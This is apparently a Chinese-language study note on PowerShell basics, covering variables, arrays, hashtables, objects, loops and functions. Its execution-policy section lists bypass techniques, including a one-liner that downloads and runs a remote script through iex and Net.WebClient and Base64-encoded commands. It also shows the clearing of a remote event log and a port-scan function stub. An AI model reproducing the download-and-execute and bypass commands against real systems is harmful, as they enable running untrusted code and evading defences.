笔记
基础
变量
强类型语言,大小写不敏感
变量以$
开头
1 2 3 4
| # 受保护的变量 New_variable num -Value 100 -Force -Option readonly # 只能通过 del 删除 del $num
|
数组
创建
1 2 3 4 5
| $array = 1,2,3,4 $array = 1..4 $array = 1,"21",([System.Guid]::NewGuid()),(get-data) $array=@90 $a = ,"1"
|
访问,通过下标,多行数据每行为一个元素
判断
追加
哈希表
创建
1
| $stu=@{Name = "test"; Age="12";Sex="man"}
|
插入和删除
1 2 3
| $hashtable = @{} $hashtable.Name = "nnn" $hashtable.Remove("Name")
|
对象
powershell 中一切都是对象
Get-Member
查看对象结构
1 2 3 4
| Get-Member
Get-Member -MemberType Properties
|
Select-Object
选择对象的一部分
1 2 3 4 5 6 7 8 9 10
| # 选择对象的一部分 Select-Object # 建仅包括 Win32_LogicalDisk WMI 类的 Name 和 FreeSpace 属性的新对象 Get-CimInstance -Class Win32_LogicalDisk | Select-Object -Property Name,FreeSpace # 创建计算属性,改变FreeSpace 的单位 Get-CimInstance -Class Win32_LogicalDisk | Select-Object -Property Name, @{ label='FreeSpace' expression={($_.FreeSpace/1GB).ToString('F2')} }
|
Where-Object
筛选对象
1
| 1,2,3,4 | Where-Object {$_ -lt 3}
|
$_
指代当前管道对象
筛选运行中的驱动程序
1 2
| Get-CimInstance -Class Win32_SystemDriver | Where-Object {$_.State -eq 'Running'}
|
进一步筛选,输出对象的一部分信息
1 2 3 4
| Get-CimInstance -Class Win32_SystemDriver | Where-Object {$_.State -eq "Running"} | Where-Object {$_.StartMode -eq "Manual"} | Format-Table -Property Name,DisplayName
|
创建 .NET 对象
管理 Eventlog 并存入变量,类似于 向构造函数传参
1 2 3 4 5 6
| $app = New-Object -TypeName System.Diagnostics.EventLogNew-Object -TypeName System.Diagnostics.EventLog -ArgumentList Application
$RemoteAppLog = New-Object -TypeName System.Diagnostics.EventLog Application,192.168.1.81
$RemoteAppLog.Clear()
|
创建 COM 对象。如创建 WSH 对象:WScript.Shell,WScript.Network,Scripting.Dictionary 和 Scripting.FileSystemObject
1 2 3 4
| New-Object -ComObject WScript.Shell New-Object -ComObject WScript.Network New-Object -ComObject Scripting.Dictionary New-Object -ComObject Scripting.FileSystemObject
|
使用 WScript.Shell 创建快捷方式
1 2 3 4
| $WshShell = New-Object -ComObject WScript.Shell $lnk = $WshShell.CreateShortcut("$Home\Desktop\PSHome.lnk") $lnk.TargetPath = $PSHome $lnk.Save()
|
控制语句
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| -eq :等于 -ne :不等于 -gt :大于 -ge :大于等于 -lt :小于 -le :小于等于 -contains :包含 $array -contains something
-notcontains :不包含 !($a): 求反 -and :和 -or :或 -xor :异或 -not :逆
if-else:
if($value -eq 1){ code1 }else{ code2 }
while($n -gt 0){ code }
$sum=0 for($i=1;$i -le 100;$i++) { $sum+=$i } $sum
foreach($file in dir c:\windows) { if($file.Length -gt 1mb) { $File.Name } }
Get-WmiObject Win32_Service | ForEach-Object {"Name:"+ $_.DisplayName, ", Is ProcessId more than 100:" + ($_.ProcessId -gt 100)}
|
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| function Invoke-PortScan { < .SYNOPSIS 简介
.DESCRIPTION 描述
.PARAMETER StartAddress 参数
.PARAMETER EndAddress 参数
.EXAMPLE PS > Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.0.254 用例
code }
|
异常
1
| Try{ $connection.open() $success = $true }Catch{ $success = $false }
|
脚本编写与执行
执行策略
1 2 3 4 5 6 7 8 9 10 11 12
| Restricted 受限制的,可以执行单个的命令,但是不能执行脚本Windows 8, Windows Server 2012, and Windows 8.1中默认就是这种策略,所以是不能执行脚本的,执行就会报错,那么如何才能执行呢?Set-ExecutionPolicy 就是设置策略为这样就可以执行脚本了。 AllSigned AllSigned 执行策略允许执行所有具有数字签名的脚本 RemoteSigned 当执行从网络上下载的脚本时,需要脚本具有数字签名,否则不会运行这个脚本。如果是在本地创建的脚本则可以直接执行,不要求脚本具有数字签名。 Unrestricted 这是一种比较宽容的策略,允许运行未签名的脚本。对于从网络上下载的脚本,在运行前会进行安全性提示。需要你确认是否执行脚本 Bypass Bypass 执行策略对脚本的执行不设任何的限制,任何脚本都可以执行,并且不会有安全性提示。 Undefined Undefined 表示没有设置脚本策略。当然此时会发生继承或应用默认的脚本策略。
|
绕过
1 2 3 4 5 6 7 8 9 10 11
| Get-ExecutionPolicy 获取当前的执行策略 Get-Content .\test.ps1 | powershell.exe -noprofile - 通过管道输入进ps powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://192.168.1.2/test.ps1')" 通过远程下载脚本来绕过 $command = "Write-Host 'Hello World!'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand 通过BASE64编码执行
|
使用
1 2 3 4 5 6 7 8 9
| script.ps1:
function test-conn { Test-Connection -Count 2 -ComputerName $args}
.\script.ps1
test-conn localhost
|
如果脚本是直接写的代码而不是只定义了函数那么直接执行脚本.\script.ps1即可,但是如果是载入里面的函数需要.+空格+.\script.ps1
,或者使用Import-Module .\script.ps1, 这样才能直接使用脚本的函数
通过 CMD 执行 powershell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| PowerShell
PowerShell -Help | -? | /?
|
base64 执行 whoami
1
| powershell -EncodedCommand dwBoAG8AYQBtAGkACgA=
|
Socket 编程